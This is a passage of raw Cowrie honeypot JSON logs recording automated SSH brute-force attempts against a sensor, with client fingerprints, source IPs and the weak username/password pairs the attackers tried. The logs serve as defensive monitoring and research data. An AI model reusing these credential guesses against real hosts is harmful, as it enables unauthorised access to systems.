com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:45.031541Z","src_ip":"141.11.88.14","session":"0f750d9c6729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:45.653690Z","src_ip":"141.11.88.14","session":"0f750d9c6729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:46.739013Z","src_ip":"141.11.88.14","session":"0f750d9c6729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27724,"dst_ip":"10.17.0.5","dst_port":22,"session":"19db3a921e3d","protocol":"ssh","message":"New connection: 141.11.88.14:27724 (10.17.0.5:22) [session: 19db3a921e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:52.100274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:52.152976Z","src_ip":"141.11.88.14","session":"19db3a921e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:52.215104Z","src_ip":"141.11.88.14","session":"19db3a921e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123","message":"login attempt [user/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:52.624716Z","src_ip":"141.11.88.14","session":"19db3a921e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.478837966918945,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:53.569440Z","src_ip":"128.199.8.54","session":"1133711b13db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:12:53.713109Z","src_ip":"141.11.88.14","session":"19db3a921e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44518,"dst_ip":"10.17.0.5","dst_port":22,"session":"002a0c5efc3c","protocol":"ssh","message":"New connection: 141.11.88.14:44518 (10.17.0.5:22) [session: 002a0c5efc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:00.885535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:01.009479Z","src_ip":"141.11.88.14","session":"002a0c5efc3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:01.013463Z","src_ip":"141.11.88.14","session":"002a0c5efc3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:02.178327Z","src_ip":"141.11.88.14","session":"002a0c5efc3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:03.368289Z","src_ip":"141.11.88.14","session":"002a0c5efc3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.336304664611816,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:04.250003Z","src_ip":"128.199.8.54","session":"0a05b7b36088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20198,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8977187c8f7","protocol":"ssh","message":"New connection: 141.11.88.14:20198 (10.17.0.5:22) [session: e8977187c8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:10.588939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:10.642009Z","src_ip":"141.11.88.14","session":"e8977187c8f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:10.749433Z","src_ip":"141.11.88.14","session":"e8977187c8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:11.549324Z","src_ip":"141.11.88.14","session":"e8977187c8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:12.687408Z","src_ip":"141.11.88.14","session":"e8977187c8f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":41196,"dst_ip":"10.17.0.5","dst_port":22,"session":"19dec99feaa0","protocol":"ssh","message":"New connection: 177.85.247.230:41196 (10.17.0.5:22) [session: 19dec99feaa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:13.039096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:13.042984Z","src_ip":"177.85.247.230","session":"19dec99feaa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:13.145512Z","src_ip":"177.85.247.230","session":"19dec99feaa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123qwe","message":"login attempt [ubuntu/qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:13.596135Z","src_ip":"177.85.247.230","session":"19dec99feaa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:14.702722Z","src_ip":"177.85.247.230","session":"19dec99feaa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18954,"dst_ip":"10.17.0.5","dst_port":22,"session":"350767ffe603","protocol":"ssh","message":"New connection: 141.11.88.14:18954 (10.17.0.5:22) [session: 350767ffe603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:17.851110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:17.856707Z","src_ip":"141.11.88.14","session":"350767ffe603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:17.961793Z","src_ip":"141.11.88.14","session":"350767ffe603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:18.296256Z","src_ip":"141.11.88.14","session":"350767ffe603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:19.388518Z","src_ip":"141.11.88.14","session":"350767ffe603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42746,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e511ecf5e1f","protocol":"ssh","message":"New connection: 194.59.206.2:42746 (10.17.0.5:22) [session: 6e511ecf5e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:20.096078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:20.101366Z","src_ip":"194.59.206.2","session":"6e511ecf5e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:20.182315Z","src_ip":"194.59.206.2","session":"6e511ecf5e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:20.274088Z","src_ip":"194.59.206.2","session":"6e511ecf5e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18984,"dst_ip":"10.17.0.5","dst_port":22,"session":"1393b7689283","protocol":"ssh","message":"New connection: 141.11.88.14:18984 (10.17.0.5:22) [session: 1393b7689283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:25.214804Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":41330,"dst_ip":"10.17.0.5","dst_port":22,"session":"c17229c1bf9d","protocol":"ssh","message":"New connection: 103.143.231.24:41330 (10.17.0.5:22) [session: c17229c1bf9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:25.334283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:25.338844Z","src_ip":"103.143.231.24","session":"c17229c1bf9d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:25.370458Z","src_ip":"141.11.88.14","session":"1393b7689283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:25.373713Z","src_ip":"141.11.88.14","session":"1393b7689283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:25.410628Z","src_ip":"103.143.231.24","session":"c17229c1bf9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme123!","message":"login attempt [root/Changeme123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:25.725671Z","src_ip":"103.143.231.24","session":"c17229c1bf9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"1qaz@WSX","message":"login attempt [dmdba/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:26.134192Z","src_ip":"141.11.88.14","session":"1393b7689283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:26.797877Z","src_ip":"103.143.231.24","session":"c17229c1bf9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:13:27.355063Z","src_ip":"141.11.88.14","session":"1393b7689283","protocol":"ssh"}
